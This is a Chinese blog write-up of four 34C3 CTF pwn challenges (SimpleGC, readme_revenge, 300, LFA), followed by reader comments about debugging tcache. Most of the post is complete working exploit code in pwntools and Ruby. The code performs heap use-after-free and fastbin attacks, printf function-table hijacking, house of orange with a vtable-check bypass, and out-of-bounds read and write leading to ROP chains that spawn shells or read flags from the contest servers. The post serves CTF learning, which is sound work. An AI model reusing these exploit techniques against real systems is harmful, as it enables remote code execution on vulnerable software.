34C3 CTF 部分pwn writeup 发表于 2017-12-31 | 分类于 漏洞利用 | 9 条评论 # 1. SimpleGC 漏洞点在删除user减少group的引用计数时,程序的实现是遍历整个group数组找到一样的进行减1,如果先添加一个不存在的group的user,然后把该user的group修改成已存在的,在删除该user时就会把之前已存在的group free掉导致UAF ```c void __fastcall dec_group_refcount(const char *a1) { unsigned __int16 i; // [sp+1Eh] [bp-2h]@1 for ( i = 0; i <= 0x5Fu; ++i ) { if ( *(&group + i) && !strcmp(a1, *(const char **)*(&group + i)) ) { if ( *((_BYTE *)*(&group + i) + 8) ) --*((_BYTE *)*(&group + i) + 8); } } } ``` 由于free group是在另一个线程中,在GLIBC 2.26下free掉的chunk会先放到tcache中导致有个坑点,tcache可以参考[http://tukan.farm/2017/07/08/tcache/][1] ```c #if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache && tc_idx < mp_.tcache_bins && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return; } } #endif ``` 可以先free掉一些group,把另一个线程的tcache中相应bin的chunk填满,之后覆盖`fd`进行fastbin attack就比较容易了,exploit如下 ```python from pwn import * import time LOCAL = 0 VERBOSE = 1 DEBUG = 0 context.arch = 'amd64' if VERBOSE: context.log_level = 'debug' if LOCAL: io = process('./sgc') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') if DEBUG: gdb.attach(io) else: io = remote('35.198.176.224', 1337) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add_user(name, group, age): io.recvuntil('Action: ') io.sendline('0') io.recvuntil('Please enter the user\'s name: ') io.send(name) io.recvuntil('Please enter the user\'s group: ') io.send(group) io.recvuntil('Please enter your age: ') io.sendline(str(age)) def display_user(index): io.recvuntil('Action: ') io.sendline('2') io.recvuntil('Enter index: ') io.sendline(str(index)) def edit_group(index, group, is_propagate): io.recvuntil('Action: ') io.sendline('3') io.recvuntil('Enter index: ') io.sendline(str(index)) io.recvuntil('group(y/n): ') io.sendline(is_propagate) io.recvuntil('Enter new group name: ') io.send(group) def del_user(index): io.recvuntil('Action: ') io.sendline('4') io.recvuntil('Enter index: ') io.sendline(str(index)) elf = ELF('./sgc') add_user('1111\n', 'AAAA\n', 1) del_user(0) time.sleep(1) add_user('2222\n', 'BBBB\n', 2) del_user(0) time.sleep(1) add_user('3333\n', 'CCCC\n', 3) del_user(0) time.sleep(1) add_user('4444\n', 'DDDD\n', 4) del_user(0) time.sleep(1) for i in range(20): add_user('5555\n', 'EEEE\n', i) for i in range(20): del_user(i) time.sleep(1) add_user('6666\n', 'FFFF\n', 0x60) add_user('7777\n', 'GGGG\n', 0x61) add_user('8888\n', 'HHHH\n', 0xd0) edit_group(1, 'FFFF\n', 'y') del_user(1) time.sleep(1) heap_offset = 0xc0 display_user(0) io.recvuntil('Group: ') leak_heap_addr = u64(io.recvuntil('\n')[:-1].ljust(8, '\x00')) user3_heap_addr = leak_heap_addr + heap_offset log.info('leak_heap_addr:%#x' % leak_heap_addr) log.info('user3_heap_addr:%#x' % user3_heap_addr) edit_group(0, p64(user3_heap_addr) + '\n', 'y') edit_group(2, 'IIII\n', 'n') edit_group(2, '\x00\x00\x00\x00\n', 'n') edit_group(2, 'KKKK\n', 'n') add_user('4444\n', p64(0) + p64(elf.got['atoi']) * 2, 4) display_user(2) io.recvuntil('Group: ') free_addr = u64(io.recvuntil('\n')[:-1].ljust(8, '\x00')) libc_addr = free_addr - libc.symbols['atoi'] system_addr = libc_addr + libc.symbols['system'] log.info('libc_addr:%#x' % libc_addr) log.info('system_addr:%#x' % system_addr) edit_group(2, p64(system_addr)[:6] + '\n', 'y') io.recvuntil('Action: ') io.sendline('2') io.recvuntil('Enter index: ') io.sendline('sh\x00') io.interactive() # 34C3_th4t_garb4ge_c0llect0r_w4s_garbage_heh ``` # 2. readme_revenge 题目代码很简单,bss段上的缓冲区溢出后调用`printf` ``` .text:0000000000400A0D ; int __cdecl main(int argc, const char **argv, const char **envp) .text:0000000000400A0D public main .text:0000000000400A0D main proc near ; DATA XREF: _start+1Do .text:0000000000400A0D .text:0000000000400A0D var_s0 = qword ptr 0 .text:0000000000400A0D .text:0000000000400A0D push rbp .text:0000000000400A0E mov rbp, rsp .text:0000000000400A11 lea rsp, [rsp-1020h] .text:0000000000400A19 or [rsp+var_s0], 0 .text:0000000000400A1E lea rsp, [rsp+1020h] .text:0000000000400A26 lea rsi, name .text:0000000000400A2D lea rdi, aS_2 ; "%s" .text:0000000000400A34 mov eax, 0 .text:0000000000400A39 call __isoc99_scanf .text:0000000000400A3E lea rsi, name .text:0000000000400A45 lea rdi, aHiS_Bye_ ; "Hi, %s. Bye.\n" .text:0000000000400A4C mov eax, 0 .text:0000000000400A51 call printf .text:0000000000400A56 mov eax, 0 .text:0000000000400A5B pop rbp .text:0000000000400A5C retn .text:0000000000400A5C main endp ``` `flag`在程序的data段上,自然而然想到`__stack_chk_fail_local`,再看`name`的地址是`0x6B73E0`,`__libc_argv`的地址是`0x6B7980`,刚好在`name`下面。剩下就是找控PC的办法,`name`往下再看还有几个`printf`相关的变量`__printf_function_table`、`__printf_modifier_table`,`__printf_arginfo_table`,`__printf_va_arg_table`,于是看`printf`的源码,在`__parse_one_specmb`函数中有如下代码 ```c if (__builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL /* We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0) ``` 因此把`__printf_function_table`赋值为非0,对`__printf_arginfo_table[ord('s')]`赋值就可以控PC了,exploit如下 ```python from pwn import * LOCAL = 0 VERBOSE = 1 DEBUG = 1 context.arch = 'amd64' if VERBOSE: context.log_level = 'debug' if LOCAL: io = process('./readme_revenge') if DEBUG: gdb.attach(io, 'b *0x0000000000400A51\n') else: io = remote('35.198.130.245', 1337) name_addr = 0x00000000006B73E0 argv_offset = 0x5a0 offset = 0x00000000006B7A28 - name_addr payload = p64(0x00000000006B4040) + p64(0) payload = payload.ljust(0x73 * 8, 'A') payload += p64(0x4359B0) payload += 'A' * 8 payload = payload.ljust(argv_offset, 'A') payload += p64(name_addr) payload = payload.ljust(offset, 'A') payload += p64(name_addr+8) payload += p64(0) payload += 'A' * (0x00000000006B7AA8 - 0x00000000006B7A38) payload += p64(name_addr) payload += p64(name_addr+8) io.sendline(payload) io.interactive() # 34C3_printf_1s_s0_fun_s0m3t1m3s!!11 ``` # 3. 300 题目代码也很简单,漏洞点是在`free_it`函数中,free完后没有把相应位置置空导致UAF ```c void __fastcall free_it(int slot) { free(allocs[slot]); } ``` 利用思路就是伪造一个overlapping unsorted bin进行house of orange,但GLIBC 2.24有`_IO_vtable_check`校验vtable,可以把vtable改成`IO_str_jumps`,参考[http://simp1e.leanote.com/post/Hctf-2017-babyprintf][2],exploit如下 ```python from pwn import * LOCAL = 0 VERBOSE = 0 DEBUG = 0 context.arch = 'amd64' if VERBOSE: context.log_level = 'debug' if LOCAL: io = process('./300', env={'LD_PRELOAD': './libc.so.6'}) libc = ELF('./libc.so.6') libc_offset = 0x3c1b58 heap_offset = 0x620 if DEBUG: gdb.attach(io) else: io = remote('104.199.25.43', 1337) libc = ELF('./libc.so.6') libc_offset = 0x3c1b58 heap_offset = 0x620 def alloc_it(slot): io.recvuntil('4) free\n') io.sendline('1') io.recvuntil('slot? (0-9)\n') io.sendline(str(slot)) def write_it(slot, content): io.recvuntil('4) free\n') io.sendline('2') io.recvuntil('slot? (0-9)\n') io.sendline(str(slot)) io.send(content) def print_it(slot): io.recvuntil('4) free\n') io.sendline('3') io.recvuntil('slot? (0-9)\n') io.sendline(str(slot)) def free_it(slot): io.recvuntil('4) free\n') io.sendline('4') io.recvuntil('slot? (0-9)\n') io.sendline(str(slot)) alloc_it(0) alloc_it(1) alloc_it(2) alloc_it(3) alloc_it(4) alloc_it(5) free_it(0) print_it(0) leak_libc_addr = u64(io.recvuntil('\n')[:6].ljust(8, '\x00')) libc_addr = leak_libc_addr - libc_offset log.info('leak_libc_addr:%#x' % leak_libc_addr) log.info('libc_addr:%#x' % libc_addr) free_it(2) free_it(4) print_it(4) leak_heap_addr = u64(io.recvuntil('\n')[:6].ljust(8, '\x00')) heap_base_addr = leak_heap_addr - heap_offset log.info('leak_heap_addr:%#x' % leak_heap_addr) log.info('heap_base_addr:%#x' % heap_base_addr) # recover free_it(5) free_it(3) free_it(1) alloc_it(0) alloc_it(1) alloc_it(2) alloc_it(3) alloc_it(4) alloc_it(5) free_it(0) free_it(2) free_it(4) write_it(4, p64(heap_base_addr+0xc20)+p64(leak_libc_addr)) write_it(3, 'A' * 0x2e0 + p64(0) + p64(0x311) + p64(heap_base_addr) + p64(heap_base_addr+0xc40)) write_it(0, p64(leak_libc_addr) + p64(heap_base_addr + 0xc20)) alloc_it(6) alloc_it(6) payload = 'A' * 0x10 real_io_list=libc_addr+libc.symbols['_IO_list_all'] real_system=libc_addr+libc.symbols['system'] real_binsh=libc_addr+next(libc.search('/bin/sh')) vtable_addr=libc_addr+0x3BE4C0 fake_chunk = '\x00'*8+p64(0x61) # smallbin[4] fake_chunk += p64(0xddaa)+p64(real_io_list-0x10) fake_chunk += p64(0xffffffffffffff)+p64(0x2)+p64(0)*2+p64((real_binsh-0x64)/2) fake_chunk = fake_chunk.ljust(0xa0,'\x00') fake_chunk += p64(real_system+0x420) fake_chunk = fake_chunk.ljust(0xc0,'\x00') fake_chunk += p64(1) fake_chunk += p64(0) fake_chunk += p64(0) fake_chunk += p64(vtable_addr) fake_chunk += p64(real_system) fake_chunk += p64(2) fake_chunk += p64(3) payload = 'A' * 0x10 + fake_chunk write_it(6, payload) alloc_it(7) io.recvuntil('[vsyscall]\n') io.sendline('cat home/user/flag') print io.recv() io.interactive() # 34C3_but_does_your_exploit_work_on_1710_too ``` # 4. LFA `LFA.so`是一个ruby的c扩展,再看patch是把syscall禁了,只允许有限的几个,通过看patch猜测是要我们通过ROP执行`readv`和`write`输出flag ```c + struct sock_filter filter[] = { + VALIDATE_ARCHITECTURE, + LOAD_SYSCALL_NR, + SECCOMP_SYSCALL(__NR_exit, ALLOW), + SECCOMP_SYSCALL(__NR_exit_group, ALLOW), + SECCOMP_SYSCALL(__NR_brk, ALLOW), + SECCOMP_SYSCALL(__NR_mmap, JUMP(&l, mmap)), + SECCOMP_SYSCALL(__NR_munmap, ALLOW), + SECCOMP_SYSCALL(__NR_mremap, ALLOW), + SECCOMP_SYSCALL(__NR_readv, ALLOW), + SECCOMP_SYSCALL(__NR_futex, ALLOW), + SECCOMP_SYSCALL(__NR_close, ALLOW), + SECCOMP_SYSCALL(__NR_write, JUMP(&l, write)), + SECCOMP_SYSCALL(__NR_rt_sigaction, ALLOW), + DENY, + + LABEL(&l, mmap), + ARG(0), + JNE(0, DENY), + ARG(2), + JNE(PROT_READ|PROT_WRITE, DENY), + ARG(3), + JNE(MAP_PRIVATE|MAP_ANONYMOUS, DENY), + ARG(4), + JNE(-1, DENY), + ARG(5), + JNE(0, DENY), + ALLOW, + + LABEL(&l, write), + ARG(0), + JEQ(STDOUT_FILENO, ALLOW), + JEQ(STDERR_FILENO, ALLOW), + DENY, + }; ``` 接下来就是在`LFA.so`中找漏洞,漏洞是在`remove`函数中 ``` signed __int64 __fastcall remove(__int64 self, _DWORD *index_1) { unsigned int index; // ebx@12 array *array; // rax@15 array *v5; // rdi@17 array *v6; // rdx@17 int start; // ecx@18 int flag; // er8@22 signed int v9; // ecx@22 int v10; // ecx@23 array *i; // rcx@26 array *v12; // rdx@29 char *v13; // rsi@33 signed __int64 v14; // rcx@33 char *v15; // rdi@33 if ( (unsigned __int8)index_1 & 7 ) { if ( !((unsigned __int8)index_1 & 1) ) { if ( ((unsigned __int8)index_1 & 3) == 2 || ((unsigned __int64)index_1 & 0xFFFFFFFFFFFFFFDFLL) == 20 || (_BYTE)index_1 == 12 || (*index_1 & 0x1F) != 21 ) { return 0LL; } LABEL_12: index = rb_num2int(index_1); goto LABEL_14; } } else { if ( !((unsigned __int64)index_1 & 0xFFFFFFFFFFFFFFF7LL) || (*index_1 & 0x1F) != 21 ) return 0LL; if ( !((unsigned __int8)index_1 & 1) ) goto LABEL_12; } index = rb_fix2int(index_1); LABEL_14: if ( (index & 0x80000000) != 0 ) return 0LL; LODWORD(array) = rb_check_typeddata(self, (__int64)&off_201DC0); if ( array->size <= index ) return 0LL; if ( array->bitmap ) return 0LL; v5 = (array *)array->buf; v6 = (array *)array->buf; if ( !v5 ) return 0LL; while ( 1 ) { start = v6->size; if ( index >= v6->size && index <= start + 15 ) break; v6 = (array *)v6->buf; if ( !v6 ) return 0LL; } flag = v6->bitmap; v9 = 1 << (index - start); if ( !(flag & v9) ) return 0LL; v10 = flag & ~v9; v6->bitmap = v10; if ( !v10 ) { if ( v5->bitmap ) { for ( i = v5; ; i = (array *)i->buf ) { v12 = (array *)i->buf; if ( !v12 || !v12->bitmap ) break; } i->buf = v12->buf; } else { v5 = (array *)v5->buf; array->buf = (int *)v5; } if ( !v5->buf && !v5->size ) { v13 = (char *)v5->data; v14 = 16LL; array->buf = array->data; v15 = (char *)array->data; while ( v14 ) { *(_DWORD *)v15 = *(_DWORD *)v13; v13 += 4; v15 += 4; --v14; } array->bitmap = 1; } } return 20LL; } ``` 可以看到删除元素后当数组的最大索引值小于16时没有改数组的length,但是把bitmap赋值为了1,这样在`get`函数和`set`函数中就有一个OOB导致的读和写了 ```c signed __int64 __fastcall set(__int64 self, _DWORD *a2, __int64 a3) { signed __int64 result; // rax@7 __int64 v4; // ST08_8@12 int v5; // eax@12 __int64 arg2; // rdx@12 __int64 index; // rbp@12 __int64 v8; // ST08_8@13 int v9; // eax@13 int arg2_value; // er12@16 array *array1; // rax@17 array *array2; // r13@17 __int64 v13; // rax@19 array *v14; // rbx@19 int *v15; // rdx@19 int v16; // edx@25 array *v17; // rax@28 array *v18; // rax@23 char *v19; // rdx@30 if ( (unsigned __int8)a2 & 7 ) { if ( !((unsigned __int8)a2 & 1) ) { if ( ((unsigned __int64)a2 & 0xFFFFFFFFFFFFFFDFLL) == 20 || ((unsigned __int8)a2 & 3) == 2 || (_BYTE)a2 == 12 || (*a2 & 0x1F) != 0x15 ) { return 0LL; } goto LABEL_12; } } else { if ( !((unsigned __int64)a2 & 0xFFFFFFFFFFFFFFF7LL) || (*a2 & 0x1F) != 21 ) return 0LL; if ( !((unsigned __int8)a2 & 1) ) { LABEL_12: v4 = a3; v5 = rb_num2int(a2); arg2 = v4; index = v5; goto LABEL_14; } } v8 = a3; v9 = rb_fix2int(a2); arg2 = v8; index = v9; LABEL_14: if ( (signed int)index < 0 ) return 0LL; if ( arg2 & 1 ) arg2_value = rb_fix2int(arg2); else arg2_value = rb_num2int(arg2); LODWORD(array1) = rb_check_typeddata(self, (__int64)&off_201DC0); array2 = array1; if ( array1->bitmap ) { if ( array1->length <= (unsigned int)index ) { array1->bitmap = 0; array1->length = index + 1; LODWORD(v13) = ruby_xmalloc(0x50LL); *(_DWORD *)v13 = 0; *(_QWORD *)(v13 + 8) = 0LL; *(_DWORD *)(v13 + 4) = 0xFFFF; v14 = (array *)v13; *(_OWORD *)(v13 + 16) = 0LL; *(_OWORD *)(v13 + 32) = 0LL; *(_OWORD *)(v13 + 48) = 0LL; *(_OWORD *)(v13 + 64) = 0LL; v15 = array2->buf; *(__m128i *)(v13 + 16) = _mm_loadu_si128((const __m128i *)v15); *(__m128i *)(v13 + 32) = _mm_loadu_si128((const __m128i *)v15 + 1); *(__m128i *)(v13 + 48) = _mm_loadu_si128((const __m128i *)v15 + 2); *(__m128i *)(v13 + 64) = _mm_loadu_si128((const __m128i *)v15 + 3); array2->buf = (int *)v13; goto LABEL_25; } result = 20LL; array2->buf[index] = arg2_value; } else { if ( (unsigned int)index >= array1->length ) array1->length = index + 1; v14 = (array *)array1->buf; if ( !v14 ) { LODWORD(v18) = ruby_xmalloc(80LL); v19 = (char *)&v18->data[1]; v18->length = index; v18->buf = 0LL; *(_OWORD *)&v18->data[1] = 0LL; *((_QWORD *)v19 + 6) = 0LL; *((_DWORD *)v19 + 14) = 0; *((_OWORD *)v19 + 1) = 0LL; *((_OWORD *)v19 + 2) = 0LL; v18->data[0] = arg2_value; v18->bitmap = 1; ::v8 = v18; BUG(); } LABEL_25: while ( 1 ) { v16 = v14->length; if ( (unsigned int)index >= v14->length && (unsigned int)index <= v16 + 15 ) break; if ( !v14->buf ) { LODWORD(v17) = ruby_xmalloc(0x50LL); v17->length = index; v17->buf = 0LL; *(_QWORD *)&v17->data[13] = 0LL; v17->data[15] = 0; v17->data[0] = arg2_value; *(_OWORD *)&v17->data[1] = 0LL; v17->bitmap = 1; *(_OWORD *)&v17->data[5] = 0LL; *(_OWORD *)&v17->data[9] = 0LL; v14->buf = (int *)v17; return 20LL; } v14 = (array *)v14->buf; } v14->data[(unsigned int)(index - v16)] = arg2_value; v14->bitmap |= 1 << (index - v16); result = 20LL; } return result; } ``` 如果删除很大length的数组,set时校验index通过,第86行就能够越界写 ```c signed __int64 __fastcall get(__int64 self, _DWORD *arg1) { int v2; // eax@7 __int64 index; // rbx@7 int v5; // eax@13 array *array; // rax@14 array *v7; // rdx@15 int v8; // eax@17 if ( (unsigned __int8)arg1 & 7 ) { if ( !((unsigned __int8)arg1 & 1) ) { if ( ((unsigned __int64)arg1 & 0xFFFFFFFFFFFFFFDFLL) == 0x14 || ((unsigned __int8)arg1 & 3) == 2 || (_BYTE)arg1 == 0xC || (*arg1 & 0x1F) != 0x15 ) { return 8LL; } LABEL_7: v2 = rb_num2int(arg1); index = v2; if ( v2 < 0 ) return 8LL; goto LABEL_14; } } else { if ( !((unsigned __int64)arg1 & 0xFFFFFFFFFFFFFFF7LL) || (*arg1 & 0x1F) != 21 ) return 8LL; if ( !((unsigned __int8)arg1 & 1) ) goto LABEL_7; } v5 = rb_fix2int(arg1); index = v5; if ( v5 < 0 ) return 8LL; LABEL_14: LODWORD(array) = rb_check_typeddata(self, (__int64)&off_201DC0); if ( array->length > (unsigned int)index ) { v7 = (array *)array->buf; if ( array->bitmap ) return 2LL * *(&v7->length + index) + 1; while ( v7 ) { v8 = v7->length; if ( (unsigned int)index >= v7->length && (unsigned int)index <= v8 + 15 ) { if ( !((1 << (index - v8)) & v7->bitmap) ) return 8LL; return 2LL * v7->data[(unsigned int)(index - v8)] + 1; } v7 = (array *)v7->buf; } } return 8LL; } ``` 同`set`函数,46行能够越界读。我的利用思路是喷射`RString`然后改它的`ptr`来进行任意地址读,喷射`RArray`通过改它的`ptr`来修改`LFA`对象的`ptr`,再通过set LFA对象来实现任意地址写,最后参考[https://david942j.blogspot.jp/2017/11/official-write-up-hitcon-ctf-2017.html][3]找到`__libc_start_main_ret`的栈地址写ROP链执行输出flag,exploit如下 ```ruby GC.disable arr = LFA.new arr_addr = arr.__id__ * 2 puts 'arr_addr: 0x' + arr_addr.to_s(16) spray_arr = Array.new(0x1000) i = 0 while i < spray_arr.length do if i % 2 == 0 spray_arr[i] = String.new('A' * 0x50) else spray_arr[i] = Array.new(0x50) end i += 1 end arr[0x80000000-1] = 1 arr.remove(0x80000000-1) finded = Array[0, 0] i = 0 while i < 0x80000000 do if arr[i] == 0x506005 and arr[i+1] == 0 and arr[i+4] == 0x50 and arr[i+5] == 0 and finded[0] == 0 arr[i+4] = 0x60 finded[0] = 1 arr_str_index = i puts 'str: ' + i.to_s() elsif arr[i] == 7 and arr[i+1] == 0 and arr[i+4] == 0x50 and arr[i+5] == 0 and arr[i+6] == 0x50 and arr[i+7] == 0 and finded[1] == 0 arr[i+4] = 0x70 arr[i+6] = 0x70 finded[1] = 1 arr_arr_index = i puts 'arr: ' + i.to_s() end if finded[0] == 1 and finded[1] == 1 break end i += 1 end finded = Array[0, 0] i = 0 while i < spray_arr.length do if spray_arr[i].length == 0x60 and finded[0] == 0 target_str = spray_arr[i] target_str_index = i finded[0] = 1 elsif spray_arr[i].length == 0x70 and finded[1] == 0 target_arr = spray_arr[i] target_arr_index = i finded[1] = 1 end if finded[0] == 1 and finded[1] == 1 break end i += 1 end target_str_addr = target_str.__id__ * 2 puts 'target_str_addr: 0x' + target_str_addr.to_s(16) target_arr_addr = target_arr.__id__ * 2 puts 'target_arr_addr: 0x' + target_arr_addr.to_s(16) leak = lambda do |addr| return 0 if addr.to_s(16).chars.count{|c|c=='0'} > 6 low = addr & 0xffffffff if (low & 0x80000000) != 0 low = -((1<<32) - low) end arr[arr_str_index+6] = low arr[arr_str_index+7] = (addr >> 32) & 0xffffffff target_str[0, 8].unpack("Q*")[0] end leak_lfa_addr = leak.call(arr_addr + 0x10) lfa_arr_addr = leak.call(arr_addr + 0x20) puts 'leak_lfa_addr: 0x' + leak_lfa_addr.to_s(16) puts 'lfa_arr_addr: 0x' + lfa_arr_addr.to_s(16) leak_libc_addr = leak.call(leak_lfa_addr + 0x238) libc_addr = leak_libc_addr - 0x3c1a0 puts 'leak_libc_addr: 0x' + leak_libc_addr.to_s(16) puts 'libc_addr: 0x' + libc_addr.to_s(16) leak_stack = leak.call(libc_addr + 0x3df418) stack_ret = leak_stack - 0xe0 puts 'leak_stack: 0x' + leak_stack.to_s(16) puts 'stack_ret: 0x' + stack_ret.to_s(16) transform = lambda do |val| if (val & 0x80000000) != 0 val = -((1<<32) - val) end val end arr[arr_arr_index+8] = transform.call((lfa_arr_addr + 8) & 0xffffffff) arr[arr_arr_index+9] = ((lfa_arr_addr + 8) >> 32) & 0xffffffff arr[0] = transform.call((lfa_arr_addr + 0x20) & 0xffffffff) arr[1] = ((lfa_arr_addr + 0x20) >> 32) & 0xffffffff arr[2] = 0x60 pop_rax = 0x00000000000234c3 pop_rdi = 0x0000000000020b8b pop_rsi = 0x0000000000020a0b pop_rdx = 0x0000000000001b96 syscall_ret = 0x00000000000c7f75 target_arr[0] = (stack_ret - 1) / 2 write = lambda do |idx, val| low = (val & 0xffffff) << 8 if (low & 0x80000000) != 0 low = -((1<<32) - low) end arr[idx*2] = low arr[idx*2+1] = (val >> 24) end rop1 = [libc_addr + pop_rax, 19, libc_addr + pop_rdi, 1023, libc_addr + pop_rsi, lfa_arr_addr + 0x10, libc_addr + pop_rdx, 1, libc_addr + syscall_ret] rop = rop1 + [libc_addr + pop_rax, 1, libc_addr + pop_rdi, 1, libc_addr + pop_rsi, lfa_arr_addr + 0x20, libc_addr + pop_rdx, 0x60, libc_addr + syscall_ret] rop.each_with_index do |v, i| write.call(i, v) end exit ``` ```python from pwn import * LOCAL = 0 context.log_level = 'debug' context.arch = 'amd64' if LOCAL: io = process(['python', 'server.py']) else: io = remote('35.198.184.75', 1337) if LOCAL == 0: io.recvuntil('Proof of work challenge: ') challenge = io.recvuntil('\n')[:-1] io.recvuntil('Your response? ') pow_proc = process(['./pow.py', challenge]) pow_proc.recvuntil('Solution: ') solution = pow_proc.recvuntil('\n')[:-1] log.info('solution:%s' % solution) io.sendline(solution) def send(content): io.recvuntil('code> ') io.send(content) payload = open('c.rb', 'r') data = payload.read() data = data.replace('\n', ';') io.recv() io.sendline(data) send('END_OF_PWN\n') io.recv() io.interactive() # 34C3_H0pe_Th1s_ChALl3nG3_WaS_4_G3M ``` [1]: http://tukan.farm/2017/07/08/tcache/ [2]: http://simp1e.leanote.com/post/Hctf-2017-babyprintf [3]: https://david942j.blogspot.jp/2017/11/official-write-up-hitcon-ctf-2017.html
你博客的RSS无法订阅,feedburner显示RSS源无效
试下其他订阅工具呢
求问大佬,在调试tcache时,static __thread tcache_perthread_struct *tcache这种thread-local变量,如何用gdb查看其变量的值呢?
每次都提示:
Cannot find thread-local storage for process 25588, shared library /lib/x86_64-linux-gnu/libc.so.6:
Cannot find thread-local variables on this target
tcache好像是glibc 2.26才开始有,一般情况下是有个tcache符号的,p tcache,要看指定线程对应的tcache,可以thread命令切过去再查看
我用thread 跳转过去,然后再p tcache 还是提示那个东西... 怕不是个假的gdb。不过我想到了另外一种方法,这个*tache变量是个指针,真正的数据是在初始化时用_int_malloc直接分配的,我找了这个分配区分配的第一个内存块就找到实际的 tache_perthread_struct结构体了。还是膜bird师傅...
可能符号去了也说不定,tcache好像是在开头的
tcache那个指针是__thread变量,可能在TLS段,因为我看了一下libc.so.6那部分对tcache指针的访问是用 *MK_FP(__FS__, 64LL)。然后指针的内容使用_int_malloc申请的,所以真正的tcache结构在堆中。但是__thread变量咋看,我用gdb调试的时候显示FS寄存器的值是0...
bird大佬太强啦!
Seriously many of good material.